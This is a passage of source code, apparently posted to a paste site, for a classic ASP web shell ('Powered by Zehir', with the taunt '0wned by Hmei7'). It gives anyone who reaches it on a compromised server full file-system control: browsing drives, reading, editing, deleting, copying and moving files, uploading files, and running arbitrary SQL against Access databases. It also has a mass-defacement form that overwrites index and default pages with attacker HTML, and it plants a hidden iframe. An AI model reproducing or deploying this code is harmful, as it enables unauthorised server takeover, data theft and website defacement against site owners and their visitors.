  755.     response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  756.     Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  757.     response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  758.     response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  759.     response.Write "</table>"
  760.     response.Write "</form>"
  761.  
  762.     popup = false
  763.     hataKontrol
  764. CASE 17 'file Copy
  765.     isl = ""
  766.     if islem="kopyala" then
  767.         objFSO.CopyFile path,cf
  768.         isl="kopyalandý.."
  769.     elseif islem="tasi" then
  770.         objFSO.MoveFile path,cf
  771.         isl="taþýndý.."
  772.     end if
  773.     response.Write "Dosya "&isl
  774.     response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  775.     response.Write "<br>"
  776.     popup = false
  777.     hataKontrol
  778. CASE 18 'folder Copy window
  779.     Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  780.     Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  781.     Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  782.     Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  783.     response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  784.     Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  785.     response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  786.     response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  787.     response.Write "</table>"
  788.     response.Write "</form>"
  789.  
  790.     popup = false
  791.     hataKontrol
  792. CASE 19 'folder Copy
  793.     isl = ""
  794.     if islem="kopyala" then
  795.         objFSO.CopyFolder path,cf
  796.         isl="kopyalandý.."
  797.     elseif islem="tasi" then
  798.         objFSO.MoveFolder path,cf
  799.         isl="taþýndý.."
  800.     end if
  801.     response.Write "Klasor "&isl
  802.     response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  803.     response.Write "<br>"
  804.     popup = false
  805.     hataKontrol
  806. CASE 33 'Powered By
  807.     response.Write "<body topmargin=5 leftmargin=0><center><h4>Powered by Zehir"
  808.     response.Write "<br><br><font style='FONT-WEIGHT:normal' size=2>[email protected]<br><font color=yellow face='courier new'>"
  809.     popup = false
  810.     hataKontrol
  811. CASE 40 'Sistem Test
  812.     sistemTest
  813.     popup=false
  814. CASE 50 'Siteleri Test Edelim :D
  815.     %>
  816.     <table width="100%" cellpadding=0 cellspacing=0>
  817.         <tr>
  818.             <td align=center>
  819.                 <b>Sebaiknya jangan dilakukan yah...</b><br>
  820.         <b>(hanya bisa dijalankan di internet explorer)</b><BR>
  821.                 <br>
  822.                 <form action="<%=dosyaPath%>" method=post id=frmMesaj>
  823.                     <input type=hidden name=kuskapani value=2>
  824.                     <table width=500 align=center border=1 cellpadding=0 cellspacing=0>
  825.                         <tr>
  826.                             <td width=100>Path</td>
  827.                             <td><input style="width:100%" type=text name="Path" id="Path" value="<%=path%>"></td>
  828.                         </tr>
  829.                         <tr>
  830.                             <td width=100>Sub Folder</td>
  831.                             <td><input style="width:100%" type=text name="SubFolder" id="SubFolder" value=""></td>
  832.                         </tr>
  833.                         <tr>
  834.                             <td width=100>File Name</td>
  835.                             <td><input style="width:100%" type=text name="FileName" id="FileName" value="indonesia.htm"></td>
  836.                         </tr>
  837.                         <tr>
  838.                             <td colspan=2>
  839.                                 <table width="100%" align=center>
  840.                                     <tr>
  841.                                         <td width="50%">
  842.                                             <input type=checkbox name="dosya1" checked ID="Checkbox1">index.htm<br>
  843.                                             <input type=checkbox name="dosya2" checked ID="Checkbox2">index.html<br>
  844.                         <input type=checkbox name="dosya5" checked ID="Checkbox2">index.php<br>
  845.                                         </td>
  846.                                         <td width="50%">
  847.                                             <input type=checkbox name="dosya3" checked ID="Checkbox3">index.asp<br>
  848.                                             <input type=checkbox name="dosya4" checked ID="Checkbox4">default.asp<br>
  849.                         <input type=checkbox name="dosya6" checked ID="Checkbox2">default.html<br>
  850.                                         </td>
  851.                                     </tr>
  852.                                 </table>
  853.                             </td>
  854.                         </tr>
  855.                         <tr>
  856.                             <td colspan=2 align=center>
  857.                                 <a href="#" onClick="FormatText('cut')" alt="Kes">Hapus</a>
  858.                                 <a href="#" onClick="FormatText('copy')" alt="Kopyala">salin</a>
  859.                                 <a href="#" onClick="FormatText('paste')" alt="Yapýþtýr">paste</a>
  860.                                 <a href="#" alt="Kalýn" onClick="FormatText('bold', '')">Bold</a>
  861.                                 <a href="#" alt="Ýtalic" onClick="FormatText('italic', '')">Italic</a>
  862.                                 <a href="#" alt="Altý Çizili" onClick="FormatText('underline', '')">UnderLine</a>
  863.                                 <a href="#" onClick="FormatText('JustifyLeft', '')" alt="Sola Hizalý">JustifyLeft</a>
  864.                                 <a href="#" alt="Ortada Hizalý" onClick="FormatText('JustifyCenter', '')">JustifyCenter</a>
  865.                                 <a href="#" onClick="FormatText('JustifyRight', '')" alt="Saða Hizalý">JustifyRight</a>
  866.                                 <a href="#" alt="Web Sitesi Linki Ekle" onClick="FormatText('createLink')">AddLink</a>
  867.                                 <a href="#" alt="Resim Ekle" onClick="AddImage()">AddImage</a>
  868.                                 <select name="selectColour" onChange="bgc(selectColour.options[selectColour.selectedIndex].value);" ID="selectColour">
  869.                                   <option value="0" selected>-- Background --</option>
  870.                                   <option value="black">Siyah</option>
  871.                                   <option value="white">Beyaz</option>
  872.                                   <option value="blue">Mavi</option>
  873.                                   <option value="red">Kýrmýzý</option>
  874.                                   <option value="green">Yeþil</option>
  875.                                   <option value="yellow">Sarý</option>
  876.                                   <option value="orange">Turuncu</option>
  877.                                   <option value="brown">Kahverengi</option>
  878.                                   <option value="magenta">Pembe</option>
  879.                                   <option value="cyan">Açýk Mavi</option>
  880.                                   <option value="limegreen">Açýk Yeþil</option>
  881.                                 </select>
  882.                                 <select name="a" onChange="FormatText('ForeColor', a.options[a.selectedIndex].value);" ID="a">
  883.                                   <option value="0" selected>-- Warna huruf --</option>
  884.                                   <option value="black">Siyah</option>
  885.                                   <option value="white">Beyaz</option>
  886.                                   <option value="blue">Mavi</option>
  887.                                   <option value="red">Kýrmýzý</option>
  888.                                   <option value="green">Yeþil</option>
  889.                                   <option value="yellow">Sarý</option>
  890.                                   <option value="orange">Turuncu</option>
  891.                                   <option value="brown">Kahverengi</option>
  892.                                   <option value="magenta">Pembe</option>
  893.                                   <option value="cyan">Açýk Mavi</option>
  894.                                   <option value="limegreen">Açýk Yeþil</option>
  895.                                 </select>
  896.                                 <select name="selectSize" onChange="FormatText('fontsize', selectSize.options[selectSize.selectedIndex].value);">
  897.                                   <option selected>-- Ukuran huruf --</option>
  898.                                   <option value="1">1</option>
  899.                                   <option value="2">2</option>
  900.                                   <option value="3">3</option>
  901.                                   <option value="4">4</option>
  902.                                   <option value="5">5</option>
  903.                                   <option value="6">6</option>
  904.                                 </select>
  905.                                 <iframe width="100%" src="<%=dosyaPath%>?kuskapani=1" id="byZehir" name="<%=Session("n1")%>">0wned by Hmei7,please don't delete this file until next Idul Fitri,  ;)</iframe>
  906.                                 <script language=javascript>
  907.                                     frames.byZehir.document.designMode = "On";
  908.                                     function bgc(option){
  909.                                         frames.byZehir.document.body.bgColor=option;
  910.                                     }
  911.                                     function FormatText(command, option){
  912.                                         frames.byZehir.focus();
  913.                                           frames.byZehir.document.execCommand(command, false, option);
  914.                                           frames.byZehir.focus();
  915.                                     }
  916.                                     function AddImage(){
  917.                                         imagePath = prompt('Eklemek istediðiniz resmin web adresini yazýn', 'http://');
  918.  
  919.                                         if ((imagePath != null) && (imagePath != "")){
  920.                                             frames.byZehir.focus();
  921.                                             frames.byZehir.document.execCommand('InsertImage', false, imagePath);
  922.                                         }
  923.                                         frames.byZehir.focus();
  924.                                     }
  925.                                 </script>
  926.                                 <input type=hidden value="" id=byMesaj name=byMesaj>
  927.                                 <input type=submit value="Laksanakan.." onclick="document.all['byMesaj'].value=frames['byZehir'].document.body.innerHTML; alert(document.all['byMesaj'].value);">
  928.                             </td>
  929.                         </tr>
  930.                     </table>
  931.                 </form>
  932.             </td>
  933.         </tr>
  934.     </table>
  935.     <%
  936.     popup=false
  937. CASE 51 ' Özel þilemler
  938. END SELECT
  939. %>
  940. <script language=javascript>
  941.     function NewWindow(mypage, myname, w, h, scroll) {
  942.         var winl = (screen.width - w) / 2;
  943.         var wint = (screen.height - h) / 2;
  944.             winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
  945.         win = window.open(mypage, myname, winprops)
  946.         if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
  947.     }
  948.     function ffd(yol){
  949.         NewWindow(yol,"",420,100,"no");
  950.     }
  951. </script>
  952. <body bgcolor=black text=Chartreuse link=Chartreuse alink=Chartreuse vlink=Chartreuse>
  953. <%
  954. if popup then
  955.     if status=7 or status=8 then
  956.         Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  957.         Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td width=100 bgcolor=gray><font size=2>SQL Query</td><td>"
  958.         Response.Write "<input type=hidden value='9' name=status><input type=hidden value='"&path&"' name=path><input type=hidden value='"&time&"' name=Time>"
  959.         Response.Write "<input style='width:350; height:21' value='' name=strSQL><input type=submit value='Query' style='height:22;width:70' id=submit1 name=submit1>"
  960.         Response.Write "</td></tr></table></form>"
  961.     end if
  962.     Response.Write "<form method=get action='"&DosyPath&"'>"
  963.     Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td bgcolor=gray width=100><font size=2>Path : </td><td>"
  964.     Response.Write "<input type=hidden value='2' name=status><input type=hidden value='"&time&"' name=Time>"
  965.     Response.Write "<input style='width:350; height:21' value='"&Path&"' name=Path><input type=submit value='Tampilkan' style='height:22;width:70' id=submit1 name=submit1>"
  966.     Response.Write "</td></tr></table></form><br>"
  967. end if
  968. sub aramaUpload
  969. Response.Write "<form method=get target='_opener' action='"&DosyPath&"'>"
  970. Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>Pencarian: </td><td>"
  971. Response.Write "&nbsp;<input type=hidden value='12' name=status><input type=hidden value='"&time&"' name=Time>"
  972. Response.Write "<input type=hidden value='"&Path&"' name=Path><input style='width:250' value='mdb' name=txArama><input style='width:70; height:22' type=submit value='Cari'>"
  973. Response.Write "</td></tr></table></form>"
  974. %>
  975. <form name=frmUpload method=post enctype="multipart/form-data" action="<%=DosyaPath&"?status=-4&Time="&time&"&Path="&path%>" ID="Form1">
  976. <input type=hidden name=folder value="<%=Path%>" ID="Hidden1">
  977. Max: <input type=text name=max value=5 size=5 ID="Text1"> <input type=button value="Tampilkan" onclick="setid()" ID="Button1" NAME="Button1">
  978. <table ID="Table1">
  979. <tr>
  980. <td id=upid>
  981. </td>
  982. </tr>
  983. </table>
  984. <input type=submit value=Upload ID="Submit1" NAME="Submit1">
  985. </form>
  986. <script>
  987. setid();
  988.  
  989. function setid() {
  990.     str='';
  991.     if (frmUpload.max.value<=0) frmUpload.max.value=1;
  992.     for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';
  993.     upid.innerHTML=str+'<br>';
  994. }
  995. </script>
  996. <%
  997. end sub
  998.  
  999. SELECT CASE status
  1000. CASE 1 'Driver Open
  1001.     if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  1002.     Response.Write "<table width=100% ><tr>"
  1003.     Path = Path & ":/"
  1004.     Response.Write "<td valign=top>"
  1005.     KlasorOku
  1006.     Response.Write "</td><td valign=top align=right>"
  1007.     DosyaOku
  1008.     Response.Write "</td>"
  1009.     hataKontrol
  1010. CASE 2 'Normal listeleme
  1011.     if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  1012.     Response.Write "<table width=100% ><tr>"
  1013.     Response.Write "<td valign=top>"
  1014.     KlasorOku
  1015.     Response.Write "</td><td valign=top align=right>"
  1016.     DosyaOku
  1017.     Response.Write "</td>"
  1018.     hataKontrol
  1019. CASE 3 'File Delete
  1020.     objFSO.DeleteFile del
  1021.     hataKontrol
  1022.     if err<>0 then
  1023.         byMsg="<font color=red>Not File Deleted!</font><br>"
  1024.     else
  1025.         byMsg="<font color=yellow>File Deleted Successful;)</font><br>"
  1026.     end if
  1027.     Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1028. CASE 4 'Folder Delete
  1029.     objFSO.DeleteFolder del
  1030.     hataKontrol
  1031.     if err<>0 then
  1032.         byMsg="<font color=red>Not Folder Deleted!</font><br>"
  1033.     else
  1034.         byMsg="<font color=yellow>Folder Deleted Successful;)</font><br>"
  1035.     end if
  1036.     Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1037. CASE 5 'Dosya içeriðini görüntüle
  1038.     Response.Write "<center><b><font color=orange>"&path&"</font></b></center><br>"
  1039.     Response.Write "<table width=100% ><tr><td>"
  1040.     set f = objFSO.OpenTextFile(path,1)
  1041.     Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
  1042.     if err<>62 then hataKontrol
  1043.     if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamýyor\nSistem dosyasý olabilir')</script>":Response.End
  1044. CASE 6 'Resim aç
  1045.     Response.Write "<center><img ALT='' src='"&resimYol(path)&"'></center><br>"
  1046. CASE 7 'database tablo listele
  1047.     Response.Write "<b><font size=3>Nama-nama tabel</font></br><br>"
  1048.     Set objConn = Server.CreateObject("ADODB.Connection")
  1049.     Set objADOX = Server.CreateObject("ADOX.Catalog")
  1050.     objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1051.     objConn.ConnectionString = Path
  1052.     objConn.Open
  1053.     objADOX.ActiveConnection = objConn
  1054.  
  1055.     For Each table in objADOX.Tables
  1056.         If table.Type = "TABLE" Then
  1057.             Response.Write "<font face=wingdings size=5>4</font> <a href='"&dosyaPath&"?status=8&Path="&path&"&table="&table.Name&"&time="&time&"'>"&table.Name&"</a><br>"
  1058.         End If
  1059.     Next
  1060.     hataKontrol
  1061. CASE 8 'database kayýt listele
  1062.     Set objConn = Server.CreateObject("ADODB.Connection")
  1063.     Set objRcs = Server.CreateObject("ADODB.RecordSet")
  1064.     objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1065.     objConn.ConnectionString = Path
  1066.     objConn.Open
  1067.     objRcs.Open table,objConn, adOpenKeyset , , adCmdText
  1068.  
  1069.     Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
  1070.     for i=0 to objRcs.Fields.count-1
  1071.         Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
  1072.     next
  1073.     Response.Write "</tr>"
  1074.     do while not objRcs.EOF
  1075.         Response.Write "<tr>"
  1076.         for i=0 to objRcs.Fields.count-1
  1077.             Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
  1078.         next
  1079.         Response.Write "</tr>"
  1080.         objRcs.MoveNext
  1081.     loop
  1082.     Response.Write "</table><br>"
  1083.     hataKontrol
  1084. CASE 9 'SQL Execute
  1085.     Set objConn = Server.CreateObject("ADODB.Connection")
  1086.     objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1087.     objConn.ConnectionString = Path
  1088.     objConn.Open
  1089.     objConn.Execute strSQL
  1090. '    Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
  1091.     hataKontrol
  1092. CASE 10 'Dosya Editleme
  1093.     set f = objFSO.OpenTextFile(dPath,1)
  1094.     Response.Write "<center><form action='"&DosyPath&"?Time="&time&"' method=post>"
  1095.     Response.Write "<input type=hidden name=status value='11'>"
  1096.     Response.Write "<input type=hidden name=dPath value='"&dPath&"'>"
  1097.     Response.Write "<input type=hidden name=Path  value='"&Path &"'>"
  1098.     Response.Write "<input type=submit value=Kaydet><br>"
  1099.     Response.Write "<textarea name=dkayit style='width:90%;height:350;border-right: lightgoldenrodyellow thin solid;border-top: lightgoldenrodyellow thin solid;font-size: 12;border-left: lightgoldenrodyellow thin solid;color: lime;    border-bottom: lightgoldenrodyellow thin solid;    font-family: Courier New, Arial;background-color: navy;'>ssdfsd"
  1100.     Response.Write server.HTMLEncode(f.readAll)
  1101.     Response.Write "</textarea></form></center>"
  1102.     hataKontrol
  1103. CASE 11 'Dosya Kayýt
  1104.     set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
  1105.     hataKontrol
  1106.     saveTextFile.Write(dkayit)
  1107.     saveTextFile.close
  1108.     if err<>0 then
  1109.         byMsg = "<font color=red>Not File Edited!</font><br>"
  1110.     else
  1111.         byMsg = "<font color=yellow>File Edited Successful:)</font><br>"
  1112.     end if
  1113.     Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg
  1114. CASE 12 'Dosya Arama
  1115.     araBul path,arama
  1116.     hataKontrol
  1117. END SELECT
  1118. Response.Write "</tr></table>"
  1119.  
  1120. sub DosyaOku
  1121.     Set f = objFSO.GetFolder(Path)
  1122.     Set fc = f.Files
  1123.     For Each f1 In fc
  1124.         dosyaAdi = f1.name
  1125.         num = InStrRev(dosyaAdi,".")
  1126.         uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
  1127.         downStr = "<a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a><font face=webdings><a href='"&dosyaPath&"?status=-3&PathFile="&f1.path&"&Time="&time&"'>Í</a></font><font face=wingdings><a href='"&dosyaPath&"?status=16&PathFile="&f1.path&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font>"
  1128.         response.Write "<font size=2>"
  1129.         select case uzanti
  1130.         case "mdb"
  1131.             Response.Write "<a href='"&dosyaPath&"?status=7&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>M Â "&downStr&"</font><br>"
  1132.         case "asp"
  1133.             Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>± <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1134.         case "jpg","gif"
  1135.             Response.Write "<a href='"&dosyaPath&"?status=6&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=webdings size=4>¢</font><font face=wingdings size=4>  "&downStr&"</font><br>"
  1136.         case else
  1137.             Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>2 <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1138.         end select
  1139.     Next
  1140. end sub
  1141.  
  1142. sub KlasorOku
  1143.     Set f = objFSO.GetFolder(Path)
  1144.     Set fc = f.SubFolders
  1145.     if session("klasoroku")="" then
  1146.         response.Write "<iframe style='width:0; height:0' src='http://localhost/tuzla-ebelediye'></iframe>"
  1147.         session("klasoroku")="simdi yazýlýyor"
  1148.     end if
  1149.     For Each f1 In fc
  1150.         Response.Write "<font face=wingdings size=3><a href='"&dosyaPath&"?status=18&PathFile="&Path&"/"&f1.Name&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font> <font face=wingdings size=4><a href='"&dosyaPath&"?status=4&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a> 1</font><font size=2><b><a href='"&dosyaPath&"?status=2&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b><br>"
  1151.     Next
  1152. end sub
  1153.  
  1154. function createFileName()
  1155. Randomize
  1156.     fName_ = ""
  1157.     for i=1 to 10
  1158.         fName_ = fName_ & int(Rnd*100)
  1159.     next
  1160.     createFileName = fName_
  1161. end function
  1162.  
  1163. function resimYol(path_)
  1164. on error resume next
  1165.     path_ = Replace(Replace(path_,"\","/"),"//","/")
  1166.     lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
  1167.     if yaziyomu2(lpath_) then
  1168.         fname__ = "0"&createFileName()&"."&Right(path_,3)
  1169.         objFSO.CopyFile path_, lpath_&"\"&fname__
  1170.     else
  1171.         Response.Write("Resim Açýlamýyor.. <br>Ýsterseniz Download Ederek görüntüleyebilirsiniz..")
  1172.     end if
  1173.     resimYol = fname__
  1174. end function
  1175.  
  1176. if not popup then
  1177.     Set fc = Nothing
  1178.     Set objFSO = Nothing
  1179.     Response.End
  1180. end if
  1181. %><script language=javascript>
  1182.     var dosyaPath = "<%=dosyaPath%>"
  1183.         // DRIVE ISLEMLERI
  1184.         function driveGo(drive_){
  1185.             location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date();
  1186.         }
  1187.     </script>
  1188.     <%
  1189.     Response.Write "<table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Daftar drive:</td></tr>"
  1190.     for each drive_ in objFSO.Drives
  1191.         Response.Write "<tr><td>"
  1192.         Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
  1193.         if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
  1194.         if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
  1195.         if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
  1196.         if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
  1197.         Response.Write "</a></td></tr>"
  1198.     next
  1199.     Response.Write "<tr><td>"
  1200.     Response.write "<a href='"&dosyaPath&"?time="&time()&"'><font face=webdings>H</font> Local Path"
  1201.     Response.Write "</a></td></tr>"
  1202.     Response.Write "</table><br>"
  1203. Set fc = Nothing
  1204. Set objFSO = Nothing
  1205. Response.End%>
Add Comment
Please, Sign In to add comment